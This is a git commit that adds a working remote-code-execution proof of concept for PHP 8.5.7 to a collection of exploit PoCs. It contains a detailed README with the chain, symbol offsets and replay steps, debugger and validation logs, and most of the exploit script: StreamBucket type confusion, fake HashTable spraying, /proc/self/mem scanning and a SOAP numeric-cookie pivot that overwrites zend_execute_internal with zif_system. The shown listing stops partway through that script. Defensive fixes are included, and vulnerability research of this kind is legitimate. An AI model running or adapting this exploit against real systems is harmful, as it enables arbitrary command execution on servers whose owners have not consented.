Add PHP 8.5.7 StreamBucket SOAP RCE RPoC
This commit is contained in:
@@ -31,6 +31,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
|
||||
| `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 |
|
||||
| `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 |
|
||||
| `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 |
|
||||
| `php857-streambucket-soap-rce-rpoc` | direct entry, June 26, 2026 | 6 |
|
||||
| `rustdesk-session-permission-pocs` | direct entry, June 25, 2026 | 17 |
|
||||
| `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 |
|
||||
| `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 |
|
||||
@@ -52,4 +53,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
|
||||
|
||||
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
|
||||
|
||||
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||
|
||||
441
php857-streambucket-soap-rce-rpoc/README.md
Normal file
441
php857-streambucket-soap-rce-rpoc/README.md
Normal file
@@ -0,0 +1,441 @@
|
||||
# PHP 8.5.7 StreamBucket to SOAP Numeric Cookie RCE RPoC
|
||||
|
||||
Status: locally validated command execution in the PHP process.
|
||||
|
||||
Affected version analyzed: PHP `8.5.7`.
|
||||
|
||||
Latest branch context: PHP.net listed PHP `8.5.7` as the current PHP 8.5 release on 04 Jun 2026.
|
||||
|
||||
Impact: controlled internal-property type confusion can be chained into a fake `HashTable` write and then into native code execution through `zend_execute_internal`.
|
||||
|
||||
Validated proof signal:
|
||||
|
||||
```text
|
||||
overwrite_returned
|
||||
marker_check=present
|
||||
marker_content=PHP857_RCE
|
||||
```
|
||||
|
||||
## Files
|
||||
|
||||
- `poc/rpoc.php` - single-file PHP RPoC.
|
||||
- `scripts/validate.sh` - replay wrapper that runs the RPoC with a supplied PHP binary and verifies the marker.
|
||||
- `evidence/local-validation.txt` - fresh local replay transcript.
|
||||
- `evidence/gdb-proof.txt` - sanitized debugger proof for the canonical hook overwrite and `zif_system` hit.
|
||||
- `SHA256SUMS.txt` - artifact checksums.
|
||||
|
||||
## Tested Target
|
||||
|
||||
The replay was validated against a local PHP `8.5.7` CLI build with `soap`, `SPL`, `standard`, and stream filter support enabled.
|
||||
|
||||
Binary identity:
|
||||
|
||||
```text
|
||||
php-8.5.7-release-soap-curl/sapi/cli/php
|
||||
sha256: 1cfdac46f8b1db810dca17f900754fba45915c9c89783cebfa3ceae2224b5058
|
||||
```
|
||||
|
||||
Relevant symbol offsets in that binary:
|
||||
|
||||
```text
|
||||
zend_execute_internal = php_base + 0x1ce3030
|
||||
zif_system = php_base + 0x69f130
|
||||
```
|
||||
|
||||
The RPoC derives the PIE base from `/proc/self/maps` at runtime and computes both absolute addresses from those offsets.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Linux or WSL-style `/proc/self/maps` and `/proc/self/mem` access from the PHP process.
|
||||
- A PHP `8.5.7` CLI binary matching the symbol offsets above.
|
||||
- Enabled extensions/classes:
|
||||
- `SPL`
|
||||
- `SoapClient`
|
||||
- `StreamBucket`
|
||||
- user stream filters
|
||||
- Local loopback networking for the in-process SOAP response server.
|
||||
|
||||
The proof intentionally uses a local loopback SOAP server so the cookie parsing and `zend_symtable_update()` path is exercised without requiring an external service.
|
||||
|
||||
## Quick Replay
|
||||
|
||||
Run with an explicit PHP binary:
|
||||
|
||||
```bash
|
||||
bash scripts/validate.sh /path/to/php-8.5.7/sapi/cli/php
|
||||
```
|
||||
|
||||
Equivalent environment-variable form:
|
||||
|
||||
```bash
|
||||
PHP_BIN=/path/to/php-8.5.7/sapi/cli/php bash scripts/validate.sh
|
||||
```
|
||||
|
||||
Expected successful output:
|
||||
|
||||
```text
|
||||
php_base=0x...
|
||||
zend_execute_internal=0x...
|
||||
zif_system=0x...
|
||||
numeric_cookie_name=...
|
||||
fake_arData=0x...
|
||||
hash_slot=0x... hash_index=0x... hash_mask=0x...
|
||||
marker_path=/tmp/php857_rce_<pid>.txt
|
||||
victim_bucket_ptr=0x...
|
||||
fake_marker=RH...
|
||||
fake_hash_address=0x...
|
||||
overwrite_returned
|
||||
marker_check=present
|
||||
marker_content=PHP857_RCE
|
||||
```
|
||||
|
||||
The marker file contains:
|
||||
|
||||
```text
|
||||
PHP857_RCE
|
||||
```
|
||||
|
||||
## Chain Overview
|
||||
|
||||
The chain uses three PHP engine and extension behaviors together:
|
||||
|
||||
1. `ArrayIterator` can mutate object properties in a way that bypasses normal typed-property invariants for internal objects.
|
||||
2. `StreamBucket` validation checks the `bucket` property as a resource but later trusts the `data` property as a string.
|
||||
3. SOAP response cookie storage writes through `SoapClient::_cookies` with `zend_symtable_update()`.
|
||||
|
||||
The resulting path:
|
||||
|
||||
```text
|
||||
ArrayIterator property mutation
|
||||
-> forged StreamBucket::$data
|
||||
-> php_stream_bucket_attach() string macro type confusion
|
||||
-> heap pointer disclosure and controlled overread
|
||||
-> attacker-shaped fake HashTable in heap string storage
|
||||
-> SoapClient::_cookies replaced with fake HashTable pointer
|
||||
-> numeric Set-Cookie name processed by zend_symtable_update()
|
||||
-> zend_hash_index_update() writes canonical zif_system pointer
|
||||
-> zend_execute_internal overwritten
|
||||
-> dynamic internal call enters zif_system(command)
|
||||
```
|
||||
|
||||
## Root Cause Details
|
||||
|
||||
### Internal Property Mutation
|
||||
|
||||
`ArrayIterator` accepts an object and exposes offset assignment over its property storage. For affected internal objects, that assignment can place values into properties that normally have private visibility, typed constraints, or readonly constraints.
|
||||
|
||||
The RPoC uses:
|
||||
|
||||
```php
|
||||
$it = new ArrayIterator($object);
|
||||
$it[$property] = $value;
|
||||
```
|
||||
|
||||
Two object types matter:
|
||||
|
||||
- `StreamBucket`
|
||||
- `SoapClient`
|
||||
|
||||
For `StreamBucket`, the chain changes `data` to a non-string pointer value while keeping `bucket` as a valid bucket resource. For `SoapClient`, the chain changes private `_cookies` from a real array zval to an integer value whose bits are treated as a `HashTable *`.
|
||||
|
||||
### StreamBucket Type Confusion
|
||||
|
||||
`php_stream_bucket_attach()` validates only the bucket resource first:
|
||||
|
||||
```text
|
||||
zend_read_property(..., "bucket", ...)
|
||||
zend_fetch_resource_ex(..., PHP_STREAM_BUCKET_RES_NAME, ...)
|
||||
```
|
||||
|
||||
Later it reads `data`, dereferences it, and uses string macros:
|
||||
|
||||
```text
|
||||
zend_read_property(..., "data", ...)
|
||||
Z_STRLEN_P(pzdata)
|
||||
Z_STRVAL_P(pzdata)
|
||||
```
|
||||
|
||||
The missing type check makes the `data` zval usable as a fake `zend_string *` pointer. With a real bucket resource still present, the filter path reaches the trusted string macro use.
|
||||
|
||||
### Pointer Disclosure
|
||||
|
||||
The RPoC creates a real stream bucket and then creates a fake `StreamBucket` object:
|
||||
|
||||
```text
|
||||
fake->bucket = real bucket resource
|
||||
fake->data = chosen integer pointer
|
||||
```
|
||||
|
||||
When the chosen integer points into another live bucket object, `Z_STRLEN_P()` and `Z_STRVAL_P()` read from attacker-selected structure offsets. That provides a stable heap overread. The first stage leaks a `php_stream_bucket *`; the second stage uses that pointer to overread the bucket data area that contains many sprayed fake `HashTable` strings.
|
||||
|
||||
### Fake HashTable Placement
|
||||
|
||||
The RPoC sprays strings containing fake `HashTable` headers:
|
||||
|
||||
```text
|
||||
gc.refcount = 1
|
||||
gc.type_info = IS_ARRAY
|
||||
flags = 0
|
||||
nTableMask = selected mask
|
||||
arData = zend_execute_internal - 16
|
||||
nNumUsed = 0
|
||||
nNumOfElements = 0
|
||||
nTableSize = 1
|
||||
nInternalPointer = 0
|
||||
nNextFreeElement = 0
|
||||
pDestructor = 0
|
||||
```
|
||||
|
||||
The fake table is embedded in ordinary heap string storage. The overread locates the sprayed marker and derives the fake `HashTable` address.
|
||||
|
||||
The important steering value is:
|
||||
|
||||
```text
|
||||
arData = zend_execute_internal - 16
|
||||
```
|
||||
|
||||
`Bucket.h` sits at offset `+16` inside a mixed-array bucket. When a new integer-key bucket is added at index zero, `p->h` lands exactly on `zend_execute_internal`.
|
||||
|
||||
### Hash Slot Selection
|
||||
|
||||
`zend_hash_index_update()` computes:
|
||||
|
||||
```text
|
||||
nIndex = h | ht->nTableMask
|
||||
```
|
||||
|
||||
The RPoC needs the lookup/add path to avoid crashing before the bucket write. It scans the PHP binary's writable mapping for a four-byte `HT_INVALID_IDX` value that can serve as the hash slot for the chosen `h`.
|
||||
|
||||
The selected fake `nTableMask` makes:
|
||||
|
||||
```text
|
||||
HT_HASH_EX(arData, h | nTableMask) == HT_INVALID_IDX
|
||||
```
|
||||
|
||||
That lets the add path proceed into the steered `Bucket` write.
|
||||
|
||||
### SOAP Numeric Cookie Pivot
|
||||
|
||||
An earlier direct string-key write attempt can overwrite `zend_execute_internal`, but only with a string hash. Zend string hashes force the high bit:
|
||||
|
||||
```text
|
||||
hash | 0x8000000000000000
|
||||
```
|
||||
|
||||
That produces a non-canonical code pointer for normal PHP text addresses and blocks reliable function-pointer use.
|
||||
|
||||
SOAP response cookie handling provides the needed pivot. It stores response cookies with:
|
||||
|
||||
```text
|
||||
zend_symtable_update(Z_ARRVAL_P(cookies), name.s, &zcookie)
|
||||
```
|
||||
|
||||
`zend_symtable_update()` checks whether the key string is numeric. A cookie name made from the decimal address of `zif_system` is numeric, so the update path becomes:
|
||||
|
||||
```text
|
||||
zend_hash_index_update(ht, zif_system_address, &zcookie)
|
||||
```
|
||||
|
||||
The integer-key add path writes:
|
||||
|
||||
```text
|
||||
p->h = h
|
||||
p->key = NULL
|
||||
ZVAL_COPY_VALUE(&p->val, pData)
|
||||
```
|
||||
|
||||
Because `h` is the numeric key itself, `p->h` becomes the canonical `zif_system` address. With `arData` set to `zend_execute_internal - 16`, that writes:
|
||||
|
||||
```text
|
||||
zend_execute_internal = zif_system
|
||||
```
|
||||
|
||||
### Hook Trigger
|
||||
|
||||
The proof uses a dynamic internal call:
|
||||
|
||||
```php
|
||||
$trigger = 'md5';
|
||||
$trigger($command);
|
||||
```
|
||||
|
||||
The VM reaches the internal-call handler path that consults `zend_execute_internal`. After the overwrite, the call target becomes:
|
||||
|
||||
```text
|
||||
zif_system(execute_data, return_value)
|
||||
```
|
||||
|
||||
The original call's first argument is the command string:
|
||||
|
||||
```text
|
||||
printf PHP857_RCE > /tmp/php857_rce_<pid>.txt
|
||||
```
|
||||
|
||||
`zif_system` parses that argument and executes it, creating the marker file.
|
||||
|
||||
## RPoC Operation
|
||||
|
||||
`poc/rpoc.php` performs the following steps:
|
||||
|
||||
1. Read `/proc/self/maps` and locate the PHP binary PIE base.
|
||||
2. Compute `zend_execute_internal` and `zif_system`.
|
||||
3. Choose a numeric cookie name equal to the decimal `zif_system` address.
|
||||
4. Scan writable PHP binary mappings through `/proc/self/mem` for a compatible invalid hash slot.
|
||||
5. Register two user stream filters:
|
||||
- one filter sprays fake `HashTable` strings and leaks a victim bucket pointer;
|
||||
- one filter uses the leaked pointer as a fake string source and overreads the sprayed data.
|
||||
6. Derive the fake `HashTable` address from the sprayed marker.
|
||||
7. Start a loopback SOAP response server.
|
||||
8. Replace `SoapClient::_cookies` with the fake `HashTable` address.
|
||||
9. Trigger `SoapClient->__soapCall()` and process the numeric `Set-Cookie` response.
|
||||
10. Call a dynamic internal function with the command string.
|
||||
11. Exit after the marker command has run.
|
||||
|
||||
## Local Validation
|
||||
|
||||
Fresh local validation:
|
||||
|
||||
```text
|
||||
php_base=0x000056063aa00000
|
||||
zend_execute_internal=0x000056063c6e3030
|
||||
zif_system=0x000056063b09f130
|
||||
numeric_cookie_name=94584760299824
|
||||
fake_arData=0x000056063c6e3020
|
||||
hash_slot=0x000056063c65f4e0 hash_index=0xfffdf130 hash_mask=0xc4f40000
|
||||
marker_path=/tmp/php857_rce_689.txt
|
||||
victim_bucket_ptr=0x00007fc17ba72d20
|
||||
fake_marker=RH5f1b8eca000015 index=15 offset=148232
|
||||
fake_hash_address=0x00007fc17ba97018
|
||||
overwrite_returned
|
||||
marker_check=present
|
||||
marker_content=PHP857_RCE
|
||||
```
|
||||
|
||||
The replay transcript is stored in:
|
||||
|
||||
```text
|
||||
evidence/local-validation.txt
|
||||
```
|
||||
|
||||
Debugger proof:
|
||||
|
||||
```text
|
||||
watch_zend_execute_internal value=0x555555a9f130
|
||||
#0 _zend_hash_index_add_or_update_i(...) at Zend/zend_hash.c:1187
|
||||
#2 zend_symtable_update(...) at Zend/zend_hash.h:492
|
||||
|
||||
hit_zif_system execute_data=0x7ffff40159d0 return_value=0x7fffffffa8c0
|
||||
#0 zif_system(...) at ext/standard/exec.c:250
|
||||
#1 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER() at Zend/zend_vm_execute.h:2029
|
||||
```
|
||||
|
||||
The debugger transcript is stored in:
|
||||
|
||||
```text
|
||||
evidence/gdb-proof.txt
|
||||
```
|
||||
|
||||
## Why The Numeric Cookie Is Required
|
||||
|
||||
The fake `HashTable` write can place several useful fields at chosen offsets:
|
||||
|
||||
```text
|
||||
Bucket.val at arData + 0
|
||||
Bucket.h at arData + 16
|
||||
Bucket.key at arData + 24
|
||||
```
|
||||
|
||||
For string keys, `Bucket.h` comes from `ZSTR_H(key)`. Zend deliberately sets the high bit of string hashes, so even a carefully chosen string-key preimage becomes:
|
||||
|
||||
```text
|
||||
0x8000... | target_address
|
||||
```
|
||||
|
||||
That value is not a canonical PHP text pointer on x86-64. The VM does not safely call it as a function pointer.
|
||||
|
||||
For numeric keys, `Bucket.h` is the integer index. SOAP's `zend_symtable_update()` makes numeric cookie names reach the integer-index path. That is the RCE-enabling step: it writes the exact canonical address of `zif_system`.
|
||||
|
||||
## Reliability Notes
|
||||
|
||||
The replay is deterministic on the tested build after the fake table is found. ASLR is handled by reading the current process mappings. Heap placement is handled by spraying 1024 fake table strings and locating the selected one through the StreamBucket overread.
|
||||
|
||||
The proof is build-specific because it uses symbol offsets for:
|
||||
|
||||
```text
|
||||
zend_execute_internal
|
||||
zif_system
|
||||
```
|
||||
|
||||
For a different PHP build, recompute offsets from the target binary:
|
||||
|
||||
```bash
|
||||
readelf -sW /path/to/php | grep -E 'zend_execute_internal|zif_system'
|
||||
```
|
||||
|
||||
The RPoC expects the same structure layout and the same vulnerable extension behavior. Distribution patches, debug builds, sanitizer builds, different compiler options, or changed extension layouts may require offset updates or small heap-shaping changes.
|
||||
|
||||
## Defensive Fixes
|
||||
|
||||
The strongest fix is to stop the initial invariant break:
|
||||
|
||||
- `ArrayIterator` object-property assignment should not bypass normal typed-property, readonly, visibility, and property-handler checks for internal objects.
|
||||
|
||||
Additional hardening:
|
||||
|
||||
- `php_stream_bucket_attach()` should verify `StreamBucket::$data` is a string immediately before `Z_STRLEN_P()` and `Z_STRVAL_P()`.
|
||||
- SOAP cookie handling should verify `SoapClient::_cookies` is an array before `SEPARATE_ARRAY()` and every `Z_ARRVAL_P()` use.
|
||||
- Internal property access through `OBJ_PROP_NUM()` should be audited when followed by release-build-only `ZEND_ASSERT()` assumptions.
|
||||
- Typed public properties in internal classes should not be treated as permanently trustworthy after object exposure to userland mutation surfaces.
|
||||
|
||||
## Triage Checklist
|
||||
|
||||
Confirm exposure:
|
||||
|
||||
```bash
|
||||
php -n -m | grep -E 'soap|SPL|standard'
|
||||
```
|
||||
|
||||
Confirm symbol offsets:
|
||||
|
||||
```bash
|
||||
readelf -sW /path/to/php | grep -E 'zend_execute_internal|zif_system'
|
||||
```
|
||||
|
||||
Confirm runtime requirements:
|
||||
|
||||
```bash
|
||||
test -r /proc/self/maps
|
||||
test -r /proc/self/mem
|
||||
```
|
||||
|
||||
Run replay:
|
||||
|
||||
```bash
|
||||
bash scripts/validate.sh /path/to/php
|
||||
```
|
||||
|
||||
Successful marker:
|
||||
|
||||
```text
|
||||
marker_check=present
|
||||
marker_content=PHP857_RCE
|
||||
```
|
||||
|
||||
## Limitations
|
||||
|
||||
- The included RPoC targets the tested PHP `8.5.7` binary layout.
|
||||
- The command-execution trigger uses `zif_system`; environments that disable `system()` or compile the standard extension differently need a different internal function target.
|
||||
- The concise replay reads `/proc/self/maps` and `/proc/self/mem`. A remote-only exploit would need to replace those with the available disclosure primitives and target-specific memory discovery.
|
||||
- The local loopback SOAP response server is a delivery mechanism for the numeric cookie update path. Real deployment reachability depends on whether attacker-controlled SOAP responses or equivalent cookie processing can be driven in the target scenario.
|
||||
- The proof demonstrates process-level command execution after the property-corruption and memory-disclosure primitives are available. It is not a universal drop-in exploit for every PHP deployment without target adaptation.
|
||||
|
||||
## References
|
||||
|
||||
- PHP downloads: https://www.php.net/downloads.php
|
||||
- PHP 2026 news archive: https://www.php.net/archive/2026.php
|
||||
- PHP supported versions: https://www.php.net/supported-versions.php
|
||||
- PHP source repository: https://github.com/php/php-src
|
||||
|
||||
## Responsible Use
|
||||
|
||||
Run only against local research targets, owned systems, or explicitly authorized lab environments.
|
||||
5
php857-streambucket-soap-rce-rpoc/SHA256SUMS.txt
Normal file
5
php857-streambucket-soap-rce-rpoc/SHA256SUMS.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
f604616daf0dba756edbff7e4316cc2740fefb457455840b36c55cdf213bef70 README.md
|
||||
24513cec4b29df8b4a2bfc18fffa176ee79c0b185e2df23fcfac2b3dea639db1 poc/rpoc.php
|
||||
2663d9d75fbcbacdb17826eab58f744dcb36277e7d73450461a85fb7351ca918 scripts/validate.sh
|
||||
6d6961e5031a336c3df28c3b79c5c2402db500ad55d675ab07c1b199be0d7120 evidence/local-validation.txt
|
||||
24ce847b09309cd85d0a7dae3e95d7a5872d7ed000df9104264e231ba9c34f55 evidence/gdb-proof.txt
|
||||
22
php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt
Normal file
22
php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
PHP 8.5.7 release build, PIE base fixed by debugger for replay.
|
||||
|
||||
watch_zend_execute_internal value=0x555555a9f130
|
||||
#0 _zend_hash_index_add_or_update_i(flag=1, pData=0x7fffffff9e70, h=93824997781808, ht=0x7ffff4083050) at Zend/zend_hash.c:1187
|
||||
#1 zend_hash_index_update(ht=0x7ffff4083050, h=93824997781808, pData=0x7fffffff9e70) at Zend/zend_hash.c:1227
|
||||
#2 zend_symtable_update(pData=0x7fffffff9e70, key=0x7ffff40a8300, ht=0x7ffff4083050) at Zend/zend_hash.h:492
|
||||
#3 make_http_soap_request(...) at ext/soap/php_http.c:1066
|
||||
#4 zim_SoapClient___doRequest(...) at ext/soap/soap.c:2824
|
||||
#5 zend_call_function(...) at Zend/zend_execute_API.c:1023
|
||||
|
||||
overwrite_returned
|
||||
|
||||
hit_zif_system execute_data=0x7ffff40159d0 return_value=0x7fffffffa8c0
|
||||
#0 zif_system(execute_data=0x7ffff40159d0, return_value=0x7fffffffa8c0) at ext/standard/exec.c:250
|
||||
#1 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER() at Zend/zend_vm_execute.h:2029
|
||||
#2 execute_ex(ex=0x7ffff40159d0) at Zend/zend_vm_execute.h:116501
|
||||
#3 zend_execute(op_array=0x7ffff40a8000, return_value=0x0) at Zend/zend_vm_execute.h:121944
|
||||
#4 zend_execute_script(...) at Zend/zend.c:1978
|
||||
#5 php_execute_script_ex(...) at main/main.c:2641
|
||||
|
||||
marker_path=/tmp/php857_rce_724.txt
|
||||
marker_content=PHP857_RCE
|
||||
@@ -0,0 +1,13 @@
|
||||
php_base=0x000056063aa00000
|
||||
zend_execute_internal=0x000056063c6e3030
|
||||
zif_system=0x000056063b09f130
|
||||
numeric_cookie_name=94584760299824
|
||||
fake_arData=0x000056063c6e3020
|
||||
hash_slot=0x000056063c65f4e0 hash_index=0xfffdf130 hash_mask=0xc4f40000
|
||||
marker_path=/tmp/php857_rce_689.txt
|
||||
victim_bucket_ptr=0x00007fc17ba72d20
|
||||
fake_marker=RH5f1b8eca000015 index=15 offset=148232
|
||||
fake_hash_address=0x00007fc17ba97018
|
||||
overwrite_returned
|
||||
marker_check=present
|
||||
marker_content=PHP857_RCE
|
||||
323
php857-streambucket-soap-rce-rpoc/poc/rpoc.php
Normal file
323
php857-streambucket-soap-rce-rpoc/poc/rpoc.php
Normal file
@@ -0,0 +1,323 @@
|
||||
<?php
|
||||
declare(strict_types=1);
|
||||
|
||||
error_reporting(E_ALL & ~E_DEPRECATED);
|
||||
|
||||
const PHP_STREAM_BUCKET_TAIL_OFFSET = 40;
|
||||
const FAKE_HT_MARKER_OFFSET = 56;
|
||||
const ZEND_EXECUTE_INTERNAL_OFF = 0x1ce3030;
|
||||
const ZIF_SYSTEM_OFF = 0x69f130;
|
||||
const U32 = 4294967296;
|
||||
|
||||
function corrupt_property(object $object, string $property, mixed $value): void {
|
||||
$it = new ArrayIterator($object);
|
||||
$it[$property] = $value;
|
||||
}
|
||||
|
||||
function corrupt_streambucket(mixed $bucketResource, mixed $dataValue): StreamBucket {
|
||||
$rc = new ReflectionClass(StreamBucket::class);
|
||||
$fake = $rc->newInstanceWithoutConstructor();
|
||||
(new ReflectionProperty(StreamBucket::class, 'bucket'))->setValue($fake, $bucketResource);
|
||||
corrupt_property($fake, 'data', $dataValue);
|
||||
return $fake;
|
||||
}
|
||||
|
||||
function fake_hashtable_blob(string $marker, int $arData, int $mask): string {
|
||||
$blob = '';
|
||||
$blob .= pack('V', 1);
|
||||
$blob .= pack('V', 7);
|
||||
$blob .= pack('V', 0);
|
||||
$blob .= pack('V', $mask);
|
||||
$blob .= pack('P', $arData);
|
||||
$blob .= pack('V', 0);
|
||||
$blob .= pack('V', 0);
|
||||
$blob .= pack('V', 1);
|
||||
$blob .= pack('V', 0);
|
||||
$blob .= pack('P', 0);
|
||||
$blob .= pack('P', 0);
|
||||
return str_pad($blob, FAKE_HT_MARKER_OFFSET, "\0") . $marker . "\0\0";
|
||||
}
|
||||
|
||||
function run_filter(string $name): string {
|
||||
$fp = fopen('php://temp', 'w+');
|
||||
stream_filter_append($fp, $name, STREAM_FILTER_WRITE);
|
||||
fwrite($fp, 'x');
|
||||
fflush($fp);
|
||||
rewind($fp);
|
||||
return stream_get_contents($fp);
|
||||
}
|
||||
|
||||
function php_binary_base(): int {
|
||||
$binary = PHP_BINARY;
|
||||
foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) {
|
||||
if (!str_ends_with($line, $binary)) {
|
||||
continue;
|
||||
}
|
||||
if (!preg_match('/^([0-9a-f]+)-[0-9a-f]+\s+..x.\s+([0-9a-f]+)/', $line, $m)) {
|
||||
continue;
|
||||
}
|
||||
return intval(hexdec($m[1])) - intval(hexdec($m[2]));
|
||||
}
|
||||
throw new RuntimeException('failed to locate PHP PIE base');
|
||||
}
|
||||
|
||||
function php_binary_rw_ranges(): array {
|
||||
$binary = PHP_BINARY;
|
||||
$ranges = [];
|
||||
foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) {
|
||||
if (!str_ends_with($line, $binary)) {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+rw.p/', $line, $m)) {
|
||||
$ranges[] = [intval(hexdec($m[1])), intval(hexdec($m[2]))];
|
||||
}
|
||||
}
|
||||
return $ranges;
|
||||
}
|
||||
|
||||
function select_hash_mask(int $arData, int $hashLow32): array {
|
||||
$mem = fopen('/proc/self/mem', 'rb');
|
||||
foreach (php_binary_rw_ranges() as [$start, $end]) {
|
||||
for ($slot = $start; $slot < $end; $slot += 4) {
|
||||
$delta = $slot - $arData;
|
||||
if (($delta % 4) !== 0) {
|
||||
continue;
|
||||
}
|
||||
$idx = intdiv($delta, 4);
|
||||
if ($idx < -2147483648 || $idx > 2147483647) {
|
||||
continue;
|
||||
}
|
||||
$idx32 = $idx & 0xffffffff;
|
||||
if (($idx32 & $hashLow32) !== $hashLow32) {
|
||||
continue;
|
||||
}
|
||||
fseek($mem, $slot);
|
||||
$raw = fread($mem, 4);
|
||||
if (strlen($raw) !== 4) {
|
||||
continue;
|
||||
}
|
||||
if (unpack('V', $raw)[1] === 0xffffffff) {
|
||||
return [$idx32 & (~$hashLow32 & 0xffffffff), $slot, $idx32];
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new RuntimeException('failed to locate compatible hash slot');
|
||||
}
|
||||
|
||||
final class FakeHashFilter extends php_user_filter {
|
||||
public static int $victimLen = 262144;
|
||||
public static string $tag = '';
|
||||
public static int $arData = 0;
|
||||
public static int $mask = 0;
|
||||
public static array $fakeBuckets = [];
|
||||
public static array $keepAlive = [];
|
||||
private bool $done = false;
|
||||
|
||||
public function filter($in, $out, &$consumed, bool $closing): int {
|
||||
while ($bucket = stream_bucket_make_writeable($in)) {
|
||||
$consumed += $bucket->datalen;
|
||||
}
|
||||
if ($closing || $this->done) {
|
||||
return PSFS_PASS_ON;
|
||||
}
|
||||
$this->done = true;
|
||||
$victim = stream_bucket_new($this->stream, str_repeat('V', self::$victimLen));
|
||||
for ($i = 0; $i < 1024; $i++) {
|
||||
$fakeMarker = 'RH' . self::$tag . sprintf('%06d', $i);
|
||||
self::$fakeBuckets[$i] = stream_bucket_new($this->stream, fake_hashtable_blob($fakeMarker, self::$arData, self::$mask));
|
||||
}
|
||||
$carrier = stream_bucket_new($this->stream, 'rce-carrier');
|
||||
$fake = corrupt_streambucket($carrier->bucket, $victim->bucket);
|
||||
self::$keepAlive[] = [$victim, $carrier, $fake];
|
||||
stream_bucket_append($out, $fake);
|
||||
return PSFS_PASS_ON;
|
||||
}
|
||||
}
|
||||
|
||||
final class OverreadFilter extends php_user_filter {
|
||||
public static int $fakeStringPointer = 0;
|
||||
public static array $keepAlive = [];
|
||||
private bool $done = false;
|
||||
|
||||
public function filter($in, $out, &$consumed, bool $closing): int {
|
||||
while ($bucket = stream_bucket_make_writeable($in)) {
|
||||
$consumed += $bucket->datalen;
|
||||
}
|
||||
if ($closing || $this->done) {
|
||||
return PSFS_PASS_ON;
|
||||
}
|
||||
$this->done = true;
|
||||
$carrier = stream_bucket_new($this->stream, 'rce-read-carrier');
|
||||
$fake = corrupt_streambucket($carrier->bucket, self::$fakeStringPointer);
|
||||
self::$keepAlive[] = [$carrier, $fake];
|
||||
stream_bucket_append($out, $fake);
|
||||
return PSFS_PASS_ON;
|
||||
}
|
||||
}
|
||||
|
||||
function marker_offset(string $data, string $tag): array {
|
||||
$regex = '/RH' . preg_quote($tag, '/') . '[0-9]{6}/';
|
||||
if (!preg_match($regex, $data, $match, PREG_OFFSET_CAPTURE)) {
|
||||
throw new RuntimeException('fake HashTable marker not found');
|
||||
}
|
||||
return [$match[0][0], $match[0][1], (int) substr($match[0][0], -6)];
|
||||
}
|
||||
|
||||
function http_server(int $port, string $readyPath, string $capturePath, string $cookieName): never {
|
||||
$server = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr);
|
||||
if (!$server) {
|
||||
file_put_contents($readyPath, "error:$errno:$errstr");
|
||||
exit(1);
|
||||
}
|
||||
file_put_contents($readyPath, 'ready');
|
||||
$conn = @stream_socket_accept($server, 10);
|
||||
if (!$conn) {
|
||||
file_put_contents($capturePath, '');
|
||||
exit(2);
|
||||
}
|
||||
stream_set_timeout($conn, 2);
|
||||
$request = '';
|
||||
$contentLength = null;
|
||||
while (!feof($conn)) {
|
||||
$chunk = fread($conn, 8192);
|
||||
if ($chunk === '') {
|
||||
$meta = stream_get_meta_data($conn);
|
||||
if (!empty($meta['timed_out'])) {
|
||||
break;
|
||||
}
|
||||
usleep(10000);
|
||||
continue;
|
||||
}
|
||||
$request .= $chunk;
|
||||
$headerEnd = strpos($request, "\r\n\r\n");
|
||||
if ($headerEnd !== false && $contentLength === null) {
|
||||
$headers = substr($request, 0, $headerEnd);
|
||||
if (preg_match('/\r\nContent-Length:\s*(\d+)/i', $headers, $m)) {
|
||||
$contentLength = (int) $m[1];
|
||||
}
|
||||
}
|
||||
if ($contentLength !== null && $headerEnd !== false) {
|
||||
$bodyLen = strlen($request) - ($headerEnd + 4);
|
||||
if ($bodyLen >= $contentLength) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
$body = '<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><xResponse/></SOAP-ENV:Body></SOAP-ENV:Envelope>';
|
||||
fwrite(
|
||||
$conn,
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
. "Set-Cookie: " . $cookieName . "=proof; Path=/; Domain=127.0.0.1\r\n"
|
||||
. "Content-Type: text/xml; charset=utf-8\r\n"
|
||||
. "Content-Length: " . strlen($body) . "\r\n"
|
||||
. "Connection: close\r\n\r\n"
|
||||
. $body
|
||||
);
|
